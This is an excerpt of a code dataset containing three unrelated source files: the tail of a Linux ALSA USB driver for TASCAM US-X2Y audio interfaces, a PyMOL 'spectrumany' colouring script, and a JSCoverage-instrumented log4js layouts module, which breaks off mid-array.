NULL;\n\t}\n\tkfree(S->buffer);\n}\n\n\nstatic struct usb_device_id snd_usX2Y_usb_id_table[] = {\n\t{\n\t\t.match_flags =\tUSB_DEVICE_ID_MATCH_DEVICE,\n\t\t.idVendor =\t0x1604,\n\t\t.idProduct =\tUSB_ID_US428 \n\t},\n\t{\n\t\t.match_flags =\tUSB_DEVICE_ID_MATCH_DEVICE,\n\t\t.idVendor =\t0x1604,\n\t\t.idProduct =\tUSB_ID_US122 \n\t},\n \t{\n\t\t.match_flags =\tUSB_DEVICE_ID_MATCH_DEVICE,\n\t\t.idVendor =\t0x1604,\n\t\t.idProduct =\tUSB_ID_US224\n\t},\n\t{ /* terminator */ }\n};\n\nstatic int usX2Y_create_card(struct usb_device *device,\n\t\t\t struct usb_interface *intf,\n\t\t\t struct snd_card **cardp)\n{\n\tint\t\tdev;\n\tstruct snd_card *\tcard;\n\tint err;\n\n\tfor (dev = 0; dev < SNDRV_CARDS; ++dev)\n\t\tif (enable[dev] && !snd_usX2Y_card_used[dev])\n\t\t\tbreak;\n\tif (dev >= SNDRV_CARDS)\n\t\treturn -ENODEV;\n\terr = snd_card_new(&intf->dev, index[dev], id[dev], THIS_MODULE,\n\t\t\t sizeof(struct usX2Ydev), &card);\n\tif (err < 0)\n\t\treturn err;\n\tsnd_usX2Y_card_used[usX2Y(card)->card_index = dev] = 1;\n\tcard->private_free = snd_usX2Y_card_private_free;\n\tusX2Y(card)->dev = device;\n\tinit_waitqueue_head(&usX2Y(card)->prepare_wait_queue);\n\tmutex_init(&usX2Y(card)->pcm_mutex);\n\tINIT_LIST_HEAD(&usX2Y(card)->midi_list);\n\tstrcpy(card->driver, \"USB \"NAME_ALLCAPS\"\");\n\tsprintf(card->shortname, \"TASCAM \"NAME_ALLCAPS\"\");\n\tsprintf(card->longname, \"%s (%x:%x if %d at %03d/%03d)\",\n\t\tcard->shortname, \n\t\tle16_to_cpu(device->descriptor.idVendor),\n\t\tle16_to_cpu(device->descriptor.idProduct),\n\t\t0,//us428(card)->usbmidi.ifnum,\n\t\tusX2Y(card)->dev->bus->busnum, usX2Y(card)->dev->devnum\n\t\t);\n\t*cardp = card;\n\treturn 0;\n}\n\n\nstatic int usX2Y_usb_probe(struct usb_device *device,\n\t\t\t struct usb_interface *intf,\n\t\t\t const struct usb_device_id *device_id,\n\t\t\t struct snd_card **cardp)\n{\n\tint\t\terr;\n\tstruct snd_card *\tcard;\n\n\t*cardp = NULL;\n\tif (le16_to_cpu(device->descriptor.idVendor) != 0x1604 ||\n\t (le16_to_cpu(device->descriptor.idProduct) != USB_ID_US122 &&\n\t le16_to_cpu(device->descriptor.idProduct) != USB_ID_US224 &&\n\t le16_to_cpu(device->descriptor.idProduct) != USB_ID_US428))\n\t\treturn -EINVAL;\n\n\terr = usX2Y_create_card(device, intf, &card);\n\tif (err < 0)\n\t\treturn err;\n\tif ((err = usX2Y_hwdep_new(card, device)) < 0 ||\n\t (err = snd_card_register(card)) < 0) {\n\t\tsnd_card_free(card);\n\t\treturn err;\n\t}\n\t*cardp = card;\n\treturn 0;\n}\n\n/*\n * new 2.5 USB kernel API\n */\nstatic int snd_usX2Y_probe(struct usb_interface *intf, const struct usb_device_id *id)\n{\n\tstruct snd_card *card;\n\tint err;\n\n\terr = usX2Y_usb_probe(interface_to_usbdev(intf), intf, id, &card);\n\tif (err < 0)\n\t\treturn err;\n\tdev_set_drvdata(&intf->dev, card);\n\treturn 0;\n}\n\nstatic void snd_usX2Y_disconnect(struct usb_interface *intf)\n{\n\tusX2Y_usb_disconnect(interface_to_usbdev(intf),\n\t\t\t\t usb_get_intfdata(intf));\n}\n\nMODULE_DEVICE_TABLE(usb, snd_usX2Y_usb_id_table);\nstatic struct usb_driver snd_usX2Y_usb_driver = {\n\t.name =\t\t\"snd-usb-usx2y\",\n\t.probe =\tsnd_usX2Y_probe,\n\t.disconnect =\tsnd_usX2Y_disconnect,\n\t.id_table =\tsnd_usX2Y_usb_id_table,\n};\n\nstatic void snd_usX2Y_card_private_free(struct snd_card *card)\n{\n\tkfree(usX2Y(card)->In04Buf);\n\tusb_free_urb(usX2Y(card)->In04urb);\n\tif (usX2Y(card)->us428ctls_sharedmem)\n\t\tsnd_free_pages(usX2Y(card)->us428ctls_sharedmem, sizeof(*usX2Y(card)->us428ctls_sharedmem));\n\tif (usX2Y(card)->card_index >= 0 && usX2Y(card)->card_index < SNDRV_CARDS)\n\t\tsnd_usX2Y_card_used[usX2Y(card)->card_index] = 0;\n}\n\n/*\n * Frees the device.\n */\nstatic void usX2Y_usb_disconnect(struct usb_device *device, void* ptr)\n{\n\tif (ptr) {\n\t\tstruct snd_card *card = ptr;\n\t\tstruct usX2Ydev *usX2Y = usX2Y(card);\n\t\tstruct list_head *p;\n\t\tusX2Y->chip_status = USX2Y_STAT_CHIP_HUP;\n\t\tusX2Y_unlinkSeq(&usX2Y->AS04);\n\t\tusb_kill_urb(usX2Y->In04urb);\n\t\tsnd_card_disconnect(card);\n\t\t/* release the midi resources */\n\t\tlist_for_each(p, &usX2Y->midi_list) {\n\t\t\tsnd_usbmidi_disconnect(p);\n\t\t}\n\t\tif (usX2Y->us428ctls_sharedmem) \n\t\t\twake_up(&usX2Y->us428ctls_wait_queue_head);\n\t\tsnd_card_free(card);\n\t}\n}\n\nmodule_usb_driver(snd_usX2Y_usb_driver);\n"} +{"text": "'''\nhttp://pymolwiki.org/index.php/spectrumany\n\n(c) 2010 Thomas Holder\n\nLicense: BSD-2-Clause\n'''\n\nfrom pymol import cmd, stored\n\nexpression_sc = cmd.Shortcut([\n 'count',\n 'resi',\n 'b',\n 'q',\n 'pc',\n])\n\n\ndef spectrumany(expression, color_list, selection='(all)', minimum=None, maximum=None, quiet=1):\n '''\nDESCRIPTION\n\n Define a color spectrum with as many color-stops as you like (at least 2).\n\nUSAGE\n\n spectrumany expression, color_list [, selection [, minimum [, maximum ]]]\n\nARGUMENTS\n\n expression = count, resi, b, q, or pc: respectively, atom count, residue\n index, temperature factor, occupancy, or partial charge {default: count}\n\n color_list = string: Space separated list of colors\n\n ... all other arguments like with `spectrum` command\n\nEXAMPLE\n\n spectrumany count, forest green yellow white\n spectrumany b, red yellow white, (polymer), maximum=100.0\n\nSEE ALSO\n\n spectrum\n '''\n quiet = int(quiet)\n colors = color_list.split()\n if len(colors) < 2:\n print 'failed! please provide at least 2 colors'\n return\n\n colvec = [cmd.get_color_tuple(i) for i in colors]\n parts = len(colvec) - 1\n\n expression = {'pc': 'partial_charge', 'fc': 'formal_charge',\n 'count': 'index'}.get(expression, expression)\n minmax_expr = {'resi': 'resv'}.get(expression, expression)\n discrete_expr = ['index', 'resi']\n\n if cmd.count_atoms(selection) == 0:\n print 'empty selection'\n return\n\n if None in [minimum, maximum]:\n stored.e = list()\n cmd.iterate(selection, 'stored.e.append(%s)' % (minmax_expr))\n if minimum is None:\n minimum = min(stored.e)\n if maximum is None:\n maximum = max(stored.e)\n minimum, maximum = float(minimum), float(maximum)\n if not quiet:\n print ' Spectrum: range (%.5f to %.5f)' % (minimum, maximum)\n\n if maximum == minimum:\n print 'no spectrum possible, only equal %s values' % (expression)\n return\n\n if expression in discrete_expr:\n val_range = int(maximum - minimum + 1)\n else:\n val_range = maximum - minimum\n cmd.color(colors[0], selection)\n\n steps = 60 / parts\n steps_total = steps * parts\n\n val_start = minimum\n for p in range(parts):\n for i in range(steps):\n ii = float(i) / steps\n col_list = [colvec[p + 1][j] * ii + colvec[p][j] * (1.0 - ii) for j in range(3)]\n col_name = '0x%02x%02x%02x' % (col_list[0] * 255, col_list[1] * 255, col_list[2] * 255)\n val_end = val_range * (i + 1 + p * steps) / steps_total + minimum\n if expression in discrete_expr:\n cmd.color(col_name, '(%s) and %s %d-%d' % (selection, expression, val_start, val_end))\n else:\n cmd.color(col_name, '(%s) and %s > %f' % (selection, expression, val_start))\n val_start = val_end\n\ncmd.extend('spectrumany', spectrumany)\n\n# tab-completion of arguments\ncmd.auto_arg[0]['spectrumany'] = [expression_sc, 'expression', ', ']\ncmd.auto_arg[1]['spectrumany'] = [cmd.auto_arg[0]['color'][0], 'color', ' ']\ncmd.auto_arg[2]['spectrumany'] = cmd.auto_arg[2]['spectrum']\n\n# vi:expandtab:smarttab\n"} +{"text": "/* automatically generated by JSCoverage - do not edit */\nif (typeof _$jscoverage === 'undefined') _$jscoverage = {};\nif (! _$jscoverage['layouts.js']) {\n _$jscoverage['layouts.js'] = [];\n _$jscoverage['layouts.js'][1] = 0;\n _$jscoverage['layouts.js'][2] = 0;\n _$jscoverage['layouts.js'][8] = 0;\n _$jscoverage['layouts.js'][9] = 0;\n _$jscoverage['layouts.js'][10] = 0;\n _$jscoverage['layouts.js'][11] = 0;\n _$jscoverage['layouts.js'][13] = 0;\n _$jscoverage['layouts.js'][27] = 0;\n _$jscoverage['layouts.js'][28] = 0;\n _$jscoverage['layouts.js'][29] = 0;\n _$jscoverage['layouts.js'][30] = 0;\n _$jscoverage['layouts.js'][32] = 0;\n _$jscoverage['layouts.js'][37] = 0;\n _$jscoverage['layouts.js'][38] = 0;\n _$jscoverage['layouts.js'][39] = 0;\n _$jscoverage['layouts.js'][42] = 0;\n _$jscoverage['layouts.js'][61] = 0;\n _$jscoverage['layouts.js'][62] = 0;\n _$jscoverage['layouts.js'][64] = 0;\n _$jscoverage['layouts.js'][65] = 0;\n _$jscoverage['layouts.js'][70] = 0;\n _$jscoverage['layouts.js'][71] = 0;\n _$jscoverage['layouts.js'][74] = 0;\n _$jscoverage['layouts.js'][75] = 0;\n _$jscoverage['layouts.js'][84] = 0;\n _$jscoverage['layouts.js'][96] = 0;\n _$jscoverage['layouts.js'][97] = 0;\n _$jscoverage['layouts.js'][104] = 0;\n _$jscoverage['layouts.js'][105] = 0;\n _$jscoverage['layouts.js'][111] = 0;\n _$jscoverage['layouts.js'][112] = 0;\n _$jscoverage['layouts.js'][144] = 0;\n _$jscoverage['layouts.js'][145] = 0;\n _$jscoverage['layouts.js'][146] = 0;\n _$jscoverage['layouts.js'][148] = 0;\n _$jscoverage['layouts.js'][150] = 0;\n _$jscoverage['layouts.js'][151] = 0;\n _$jscoverage['layouts.js'][152] = 0;\n _$jscoverage['layouts.js'][153] = 0;\n _$jscoverage['layouts.js'][154] = 0;\n _$jscoverage['layouts.js'][155] = 0;\n _$jscoverage['layouts.js'][156] = 0;\n _$jscoverage['layouts.js'][159] = 0;\n _$jscoverage['layouts.js'][162] = 0;\n _$jscoverage['layouts.js'][163] = 0;\n _$jscoverage['layouts.js'][164] = 0;\n _$jscoverage['layouts.js'][165] = 0;\n _$jscoverage['layouts.js'][167] = 0;\n _$jscoverage['layouts.js'][168] = 0;\n _$jscoverage['layouts.js'][169] = 0;\n _$jscoverage['layouts.js'][170] = 0;\n _$jscoverage['layouts.js'][171] = 0;\n _$jscoverage['layouts.js'][172] = 0;\n _$jscoverage['layouts.js'][176] = 0;\n _$jscoverage['layouts.js'][179] = 0;\n _$jscoverage['layouts.js'][180] = 0;\n _$jscoverage['layouts.js'][183] = 0;\n _$jscoverage['layouts.js'][184] = 0;\n _$jscoverage['layouts.js'][187] = 0;\n _$jscoverage['layouts.js'][188] = 0;\n _$jscoverage['layouts.js'][191] = 0;\n _$jscoverage['layouts.js'][192] = 0;\n _$jscoverage['layouts.js'][195] = 0;\n _$jscoverage['layouts.js'][196] = 0;\n _$jscoverage['layouts.js'][199] = 0;\n _$jscoverage['layouts.js'][200] = 0;\n _$jscoverage['layouts.js'][203] = 0;\n _$jscoverage['layouts.js'][204] = 0;\n _$jscoverage['layouts.js'][207] = 0;\n _$jscoverage['layouts.js'][208] = 0;\n _$jscoverage['layouts.js'][209] = 0;\n _$jscoverage['layouts.js'][210] = 0;\n _$jscoverage['layouts.js'][212] = 0;\n _$jscoverage['layouts.js'][215] = 0;\n _$jscoverage['layouts.js'][218] = 0;\n _$jscoverage['layouts.js'][231] = 0;\n _$jscoverage['layouts.js'][232] = 0;\n _$jscoverage['layouts.js'][235] = 0;\n _$jscoverage['layouts.js'][236] = 0;\n _$jscoverage['layouts.js'][237] = 0;\n _$jscoverage['layouts.js'][238] = 0;\n _$jscoverage['layouts.js'][239] = 0;\n _$jscoverage['layouts.js'][242] = 0;\n _$jscoverage['layouts.js'][245] = 0;\n _$jscoverage['layouts.js'][246] = 0;\n _$jscoverage['layouts.js'][247] = 0;\n _$jscoverage['layouts.js'][248] = 0;\n _$jscoverage['layouts.js'][249] = 0;\n _$jscoverage['layouts.js'][251] = 0;\n _$jscoverage['layouts.js'][252] = 0;\n _$jscoverage['layouts.js'][255] = 0;\n _$jscoverage['layouts.js'][257] = 0;\n _$jscoverage['layouts.js'][258] = 0;\n _$jscoverage['layouts.js'][262] = 0;\n _$jscoverage['layouts.js'][265] = 0;\n _$jscoverage['layouts.js'][266] = 0;\n _$jscoverage['layouts.js'][267] = 0;\n _$jscoverage['layouts.js'][268] = 0;\n _$jscoverage['layouts.js'][270] = 0;\n _$jscoverage['layouts.js'][271] = 0;\n _$jscoverage['layouts.js'][272] = 0;\n _$jscoverage['layouts.js'][273] = 0;\n _$jscoverage['layouts.js'][274] = 0;\n _$jscoverage['layouts.js'][275] = 0;\n _$jscoverage['layouts.js'][276] = 0;\n _$jscoverage['layouts.js'][279] = 0;\n _$jscoverage['layouts.js'][280] = 0;\n _$jscoverage['layouts.js'][284] = 0;\n _$jscoverage['layouts.js'][290] = 0;\n _$jscoverage['layouts.js'][291] = 0;\n _$jscoverage['layouts.js'][292] = 0;\n _$jscoverage['layouts.js'][294] = 0;\n _$jscoverage['layouts.js'][296] = 0;\n _$jscoverage['layouts.js'][301] = 0;\n _$jscoverage['layouts.js'][308] = 0;\n}\n_$jscoverage['layouts.js'][1]++;\n\"use strict\";\n_$jscoverage['layouts.js'][2]++;\nvar dateFormat = require(\"./date_format\"), os = require(\"os\"), eol = os.EOL || \"\\n\", util = require(\"util\"), replacementRegExp = /%[sdj]/g, layoutMakers = {\"messagePassThrough\": (function () {\n _$jscoverage['layouts.js'][8]++;\n return messagePassThroughLayout;\n}), \"basic\": (function () {\n _$jscoverage['layouts.js'][9]++;\n return basicLayout;\n}), \"colored\": (function () {\n _$jscoverage['layouts.js'][10]++;\n return colouredLayout;\n}), \"coloured\": (function () {\n _$jscoverage['layouts.js'][11]++;\n return colouredLayout;\n}), \"pattern\": (function (config) {\n _$jscoverage['layouts.js'][13]++;\n return patternLayout(config && config.pattern, config && config.tokens);\n})}, colours = {ALL: \"grey\", TRACE: \"blue\", DEBUG: \"cyan\", INFO: \"green\", WARN: \"yellow\", ERROR: \"red\", FATAL: \"magenta\", OFF: \"grey\"};\n_$jscoverage['layouts.js'][27]++;\nfunction wrapErrorsWithInspect(items) {\n _$jscoverage['layouts.js'][28]++;\n return items.map((function (item) {\n _$jscoverage['layouts.js'][29]++;\n if ((item instanceof Error) && item.stack) {\n _$jscoverage['layouts.js'][30]++;\n return ({inspect: (function () {\n _$jscoverage['layouts.js'][30]++;\n return util.format(item) + \"\\n\" + item.stack;\n})});\n }\n else {\n _$jscoverage['layouts.js'][32]++;\n return item;\n }\n}));\n}\n_$jscoverage['layouts.js'][37]++;\nfunction formatLogData(logData) {\n _$jscoverage['layouts.js'][38]++;\n var data = Array.isArray(logData)? logData: Array.prototype.slice.call(arguments);\n _$jscoverage['layouts.js'][39]++;\n return util.format.apply(util, wrapErrorsWithInspect(data));\n}\n_$jscoverage['layouts.js'][42]++;\nvar styles = {\"bold\": [1, 22], \"italic\": [3, 23], \"underline\": [4, 24], \"inverse\": [7, 27], \"white\": [37, 39], \"grey\": [90, 39], \"black\": [90, 39], \"blue\": [34, 39], \"cyan\": [36, 39], \"green\": [32, 39], \"magenta\": [35, 39], \"red\": [31, 39], \"yellow\": [33, 39]};\n_$jscoverage['layouts.js'][61]++;\nfunction colorizeStart(style) {\n _$jscoverage['layouts.js'][62]++;\n return style? \"\\u001b[\" + styles[style][0] + \"m\": \"\";\n}\n_$jscoverage['layouts.js'][64]++;\nfunction colorizeEnd(style) {\n _$jscoverage['layouts.js'][65]++;\n return style? \"\\u001b[\" + styles[style][1] + \"m\": \"\";\n}\n_$jscoverage['layouts.js'][70]++;\nfunction colorize(str, style) {\n _$jscoverage['layouts.js'][71]++;\n return colorizeStart(style) + str + colorizeEnd(style);\n}\n_$jscoverage['layouts.js'][74]++;\nfunction timestampLevelAndCategory(loggingEvent, colour) {\n _$jscoverage['layouts.js'][75]++;\n var output = colorize(formatLogData(\"[%s] [%s] %s - \", dateFormat.asString(loggingEvent.startTime), loggingEvent.level, loggingEvent.categoryName), colour);\n _$jscoverage['layouts.js'][84]++;\n return output;\n}\n_$jscoverage['layouts.js'][96]++;\nfunction basicLayout(loggingEvent) {\n _$jscoverage['layouts.js'][97]++;\n return timestampLevelAndCategory(loggingEvent) + formatLogData(loggingEvent.data);\n}\n_$jscoverage['layouts.js'][104]++;\nfunction colouredLayout(loggingEvent) {\n _$jscoverage['layouts.js'][105]++;\n return timestampLevelAndCategory(loggingEvent, colours[loggingEvent.level.toString()]) + formatLogData(loggingEvent.data);\n}\n_$jscoverage['layouts.js'][111]++;\nfunction messagePassThroughLayout(loggingEvent) {\n _$jscoverage['layouts.js'][112]++;\n return formatLogData(loggingEvent.data);\n}\n_$jscoverage['layouts.js'][144]++;\nfunction patternLayout(pattern, tokens) {\n _$jscoverage['layouts.js'][145]++;\n var TTCC_CONVERSION_PATTERN = \"%r %p %c - %m%n\";\n _$jscoverage['layouts.js'][146]++;\n var regex = /%(-?[0-9]+)?(\\.?[0-9]+)?([\\[\\]cdmnprx%])(\\{([^\\}]+)\\})?|([^%]+)/;\n _$jscoverage['layouts.js'][148]++;\n pattern = pattern || TTCC_CONVERSION_PATTERN;\n _$jscoverage['layouts.js'][150]++;\n function categoryName(loggingEvent, specifier) {\n _$jscoverage['layouts.js'][151]++;\n var loggerName = loggingEvent.categoryName;\n _$jscoverage['layouts.js'][152]++;\n if (specifier) {\n _$jscoverage['layouts.js'][153]++;\n var precision = parseInt(specifier, 10);\n _$jscoverage['layouts.js'][154]++;\n var loggerNameBits = loggerName.split(\".\");\n _$jscoverage['layouts.js'][155]++;\n if (precision < loggerNameBits.length) {\n _$jscoverage['layouts.js'][156]++;\n loggerName = loggerNameBits.slice(loggerNameBits.length - precision).join(\".\");\n }\n }\n _$jscoverage['layouts.js'][159]++;\n return loggerName;\n}\n _$jscoverage['layouts.js'][162]++;\n function formatAsDate(loggingEvent, specifier) {\n _$jscoverage['layouts.js'][163]++;\n var format = dateFormat.ISO8601_FORMAT;\n _$jscoverage['layouts.js'][164]++;\n if (specifier) {\n _$jscoverage['layouts.js'][165]++;\n format = specifier;\n _$jscoverage['layouts.js'][167]++;\n if (format == \"ISO8601\") {\n _$jscoverage['layouts.js'][168]++;\n format = dateFormat.ISO8601_FORMAT;\n }\n else {\n _$jscoverage['layouts.js'][169]++;\n if (format == \"ABSOLUTE\") {\n _$jscoverage['layouts.js'][170]++;\n format = dateFormat.ABSOLUTETIME_FORMAT;\n }\n else {\n _$jscoverage['layouts.js'][171]++;\n if (format == \"DATE\") {\n _$jscoverage['layouts.js'][172]++;\n format = dateFormat.DATETIME_FORMAT;\n }\n }\n }\n }\n _$jscoverage['layouts.js'][176]++;\n return dateFormat.asString(format, loggingEvent.startTime);\n}\n _$jscoverage['layouts.js'][179]++;\n function formatMessage(loggingEvent) {\n _$jscoverage['layouts.js'][180]++;\n return formatLogData(loggingEvent.data);\n}\n _$jscoverage['layouts.js'][183]++;\n function endOfLine() {\n _$jscoverage['layouts.js'][184]++;\n return eol;\n}\n _$jscoverage['layouts.js'][187]++;\n function logLevel(loggingEvent) {\n _$jscoverage['layouts.js'][188]++;\n return loggingEvent.level.toString();\n}\n _$jscoverage['layouts.js'][191]++;\n function startTime(loggingEvent) {\n _$jscoverage['layouts.js'][192]++;\n return \"\" + loggingEvent.startTime.toLocaleTimeString();\n}\n _$jscoverage['layouts.js'][195]++;\n function startColour(loggingEvent) {\n _$jscoverage['layouts.js'][196]++;\n return colorizeStart(colours[loggingEvent.level.toString()]);\n}\n _$jscoverage['layouts.js'][199]++;\n function endColour(loggingEvent) {\n _$jscoverage['layouts.js'][200]++;\n return colorizeEnd(colours[loggingEvent.level.toString()]);\n}\n _$jscoverage['layouts.js'][203]++;\n function percent() {\n _$jscoverage['layouts.js'][204]++;\n return \"%\";\n}\n _$jscoverage['layouts.js'][207]++;\n function userDefined(loggingEvent, specifier) {\n _$jscoverage['layouts.js'][208]++;\n if (typeof tokens[specifier] !== \"undefined\") {\n _$jscoverage['layouts.js'][209]++;\n if (typeof tokens[specifier] === \"function\") {\n _$jscoverage['layouts.js'][210]++;\n return tokens[specifier](loggingEvent);\n }\n else {\n _$jscoverage['layouts.js'][212]++;\n return tokens[specifier];\n }\n }\n _$jscoverage['layouts.js'][215]++;\n return null;\n}\n _$jscoverage['layouts.js'][218]++;\n var replacers = {\"c\": categoryName, \"d\": formatAsDate, \"m\": formatMessage, \"n\": endOfLine, \"p\": logLevel, \"r\": startTime, \"[\": startColour, \"]\": endColour, \"%\": percent, \"x\": userDefined};\n _$jscoverage['layouts.js'][231]++;\n function replaceToken(conversionCharacter, loggingEvent, specifier) {\n _$jscoverage['layouts.js'][232]++;\n return replacers[conversionCharacter](loggingEvent, specifier);\n}\n _$jscoverage['layouts.js'][235]++;\n function truncate(truncation, toTruncate) {\n _$jscoverage['layouts.js'][236]++;\n var len;\n _$jscoverage['layouts.js'][237]++;\n if (truncation) {\n _$jscoverage['layouts.js'][238]++;\n len = parseInt(truncation.substr(1), 10);\n _$jscoverage['layouts.js'][239]++;\n return toTruncate.substring(0, len);\n }\n _$jscoverage['layouts.js'][242]++;\n return toTruncate;\n}\n _$jscoverage['layouts.js'][245]++;\n function pad(padding, toPad) {\n _$jscoverage['layouts.js'][246]++;\n var len;\n _$jscoverage['layouts.js'][247]++;\n if (padding) {\n _$jscoverage['layouts.js'][248]++;\n if (padding.charAt(0) == \"-\") {\n _$jscoverage['layouts.js'][249]++;\n len = parseInt(padding.substr(1), 10);\n _$jscoverage['layouts.js'][251]++;\n while (toPad.length < len) {\n _$jscoverage['layouts.js'][252]++;\n toPad += \" \";\n}\n }\n else {\n _$jscoverage['layouts.js'][255]++;\n len = parseInt(padding, 10);\n _$jscoverage['layouts.js'][257]++;\n while (toPad.length < len) {\n _$jscoverage['layouts.js'][258]++;\n toPad = \" \" + toPad;\n}\n }\n }\n _$jscoverage['layouts.js'][262]++;\n return toPad;\n}\n _$jscoverage['layouts.js'][265]++;\n return (function (loggingEvent) {\n _$jscoverage['layouts.js'][266]++;\n var formattedString = \"\";\n _$jscoverage['layouts.js'][267]++;\n var result;\n _$jscoverage['layouts.js'][268]++;\n var searchString = pattern;\n _$jscoverage['layouts.js'][270]++;\n while ((result = regex.exec(searchString))) {\n _$jscoverage['layouts.js'][271]++;\n var matchedString = result[0];\n _$jscoverage['layouts.js'][272]++;\n var padding = result[1];\n _$jscoverage['layouts.js'][273]++;\n var truncation = result[2];\n _$jscoverage['layouts.js'][274]++;\n var conversionCharacter = result[3];\n _$jscoverage['layouts.js'][275]++;\n var specifier = result[5];\n _$jscoverage['layouts.js'][276]++;\n var text = result[6];\n _$jscoverage['layouts.js'][279]++;\n if (text) {\n _$jscoverage['layouts.js'][280]++;\n formattedString += \"\" + text;\n }\n else {\n _$jscoverage['layouts.js'][284]++;\n var replacement = replaceToken(conversionCharacter, loggingEvent, specifier) || matchedString;\n _$jscoverage['layouts.js'][290]++;\n replacement = truncate(truncation, replacement);\n _$jscoverage['layouts.js'][291]++;\n replacement = pad(padding, replacement);\n _$jscoverage['layouts.js'][292]++;\n formattedString += replacement;\n }\n _$jscoverage['layouts.js'][294]++;\n searchString = searchString.substr(result.index + result[0].length);\n}\n _$jscoverage['layouts.js'][296]++;\n return formattedString;\n});\n}\n_$jscoverage['layouts.js'][301]++;\nmodule.exports = {basicLayout: basicLayout, messagePassThroughLayout: messagePassThroughLayout, patternLayout: patternLayout, colouredLayout: colouredLayout, coloredLayout: colouredLayout, layout: (function (name, config) {\n _$jscoverage['layouts.js'][308]++;\n return layoutMakers[name] && layoutMakers[name](config);\n})};\n_$jscoverage['layouts.js'].source = [\"\\\"use strict\\\";\",\"var dateFormat = require('./date_format')\",\", os = require('os')\",\", eol = os.EOL || '\\\\n'\",\", util = require('util')\",\", replacementRegExp = /%[sdj]/g\",\", layoutMakers = {\",\" \\\"messagePassThrough\\\": function() { return messagePassThroughLayout; }, \",\" \\\"basic\\\": function() { return basicLayout; }, \",\" \\\"colored\\\": function() { return colouredLayout; }, \",\" \\\"coloured\\\": function() { return colouredLayout; }, \",\" \\\"pattern\\\": function (config) {\",\" return patternLayout(config && config.pattern, config && config.tokens);\",\"\\t}\",\"}\",\", colours = {\",\" ALL: \\\"grey\\\", \",\" TRACE: \\\"blue\\\", \",\" DEBUG: \\\"cyan\\\", \",\" INFO: \\\"green\\\", \",\" WARN: \\\"yellow\\\", \",\" ERROR: \\\"red\\\", \",\" FATAL: \\\"magenta\\\", \",\" OFF: \\\"grey\\\"\",\"};\",\"\",\"function wrapErrorsWithInspect(items) {\",\" return items.map(function(item) {\",\" if ((item instanceof Error) && item.stack) {\",\" return { inspect: function() { return util.format(item) + '\\\\n' + item.stack; } };\",\" } else {\",\" return item;\",\" }\",\" });\",\"}\",\"\",\"function formatLogData(logData) {\",\" var data = Array.isArray(logData) ? logData : Array.prototype.slice.call(arguments);\",\" return util.format.apply(util, wrapErrorsWithInspect(data));\",\"}\",\"\",\"var styles = {\",\" //styles\",\" 'bold' : [1, 22],\",\" 'italic' : [3, 23],\",\" 'underline' : [4, 24],\",\" 'inverse' : [7, 27],\",\" //grayscale\",\" 'white' : [37, 39],\",\" 'grey' : [90, 39],\",\" 'black' : [90, 39],\",\" //colors\",\" 'blue' : [34, 39],\",\" 'cyan' : [36, 39],\",\" 'green' : [32, 39],\",\" 'magenta' : [35, 39],\",\" 'red' : [31, 39],\",\" 'yellow' : [33, 39]\",\"};\",\"\",\"function colorizeStart(style) {\",\" return style ? '\\\\x1B[' + styles[style][0] + 'm' : '';\",\"}\",\"function colorizeEnd(style) {\",\" return style ? '\\\\x1B[' + styles[style][1] + 'm' : '';\",\"}\",\"/**\",\" * Taken from masylum's fork (https://github.com/masylum/log4js-node)\",\" */\",\"function colorize (str, style) {\",\" return colorizeStart(style) + str + colorizeEnd(style);\",\"}\",\"\",\"function timestampLevelAndCategory(loggingEvent, colour) {\",\" var output = colorize(\",\" formatLogData(\",\" '[%s] [%s] %s - '\",\" , dateFormat.asString(loggingEvent.startTime)\",\" , loggingEvent.level\",\" , loggingEvent.categoryName\",\" )\",\" , colour\",\" );\",\" return output;\",\"}\",\"\",\"/**\",\" * BasicLayout is a simple layout for storing the logs. The logs are stored\",\" * in following format:\",\" * <pre>\",\" * [startTime] [logLevel] categoryName - message\\\\n\",\" * </pre>\",\" *\",\" * @author Stephan Strittmatter\",\" */\",\"function basicLayout (loggingEvent) {\",\" return timestampLevelAndCategory(loggingEvent) + formatLogData(loggingEvent.data);\",\"}\",\"\",\"/**\",\" * colouredLayout - taken from masylum's fork.\",\" * same as basicLayout, but with colours.\",\" */\",\"function colouredLayout (loggingEvent) {\",\" return timestampLevelAndCategory(\",\" loggingEvent,\",\" colours[loggingEvent.level.toString()]\",\" ) + formatLogData(loggingEvent.data);\",\"}\",\"\",\"function messagePassThroughLayout (loggingEvent) {\",\" return formatLogData(loggingEvent.data);\",\"}\",\"\",\"/**\",\" * PatternLayout\",\" * Format for specifiers is %[padding].[truncation][field]{[format]}\",\" * e.g. %5.10p - left pad the log level by 5 characters, up to a max of 10\",\" * Fields can be any of:\",\" * - %r time in toLocaleTimeString format\",\" * - %p log level\",\" * - %c log category\",\" * - %m log data\",\" * - %d date in various formats\",\" * - %% %\",\" * - %n newline\",\" * - %x{<tokenname>} add dynamic tokens to your log. Tokens are specified in the tokens parameter\",\" * You can use %[ and %] to define a colored block.\",\" *\",\" * Tokens are specified as simple key:value objects. \",\" * The key represents the token name whereas the value can be a string or function\",\" * which is called to extract the value to put in the log message. If token is not\",\" * found, it doesn't replace the field.\",\" *\",\" * A sample token would be: { \\\"pid\\\" : function() { return process.pid; } }\",\" *\",\" * Takes a pattern string, array of tokens and returns a layout function.\",\" * @param {String} Log format pattern String\",\" * @param {object} map object of different tokens\",\" * @return {Function}\",\" * @author Stephan Strittmatter\",\" * @author Jan Schmidle\",\" */\",\"function patternLayout (pattern, tokens) {\",\" var TTCC_CONVERSION_PATTERN = \\\"%r %p %c - %m%n\\\";\",\" var regex = /%(-?[0-9]+)?(\\\\.?[0-9]+)?([\\\\[\\\\]cdmnprx%])(\\\\{([^\\\\}]+)\\\\})?|([^%]+)/;\",\" \",\" pattern = pattern || TTCC_CONVERSION_PATTERN;\",\"\",\" function categoryName(loggingEvent, specifier) {\",\" var loggerName = loggingEvent.categoryName;\",\" if (specifier) {\",\" var precision = parseInt(specifier, 10);\",\" var loggerNameBits = loggerName.split(\\\".\\\");\",\" if (precision < loggerNameBits.length) {\",\" loggerName = loggerNameBits.slice(loggerNameBits.length - precision).join(\\\".\\\");\",\" }\",\" }\",\" return loggerName;\",\" }\",\"\",\" function formatAsDate(loggingEvent, specifier) {\",\" var format = dateFormat.ISO8601_FORMAT;\",\" if (specifier) {\",\" format = specifier;\",\" // Pick up special cases\",\" if (format == \\\"ISO8601\\\") {\",\" format = dateFormat.ISO8601_FORMAT;\",\" } else if (format == \\\"ABSOLUTE\\\") {\",\" format = dateFormat.ABSOLUTETIME_FORMAT;\",\" } else if (format == \\\"DATE\\\") {\",\" format = dateFormat.DATETIME_FORMAT;\",\" }\",\" 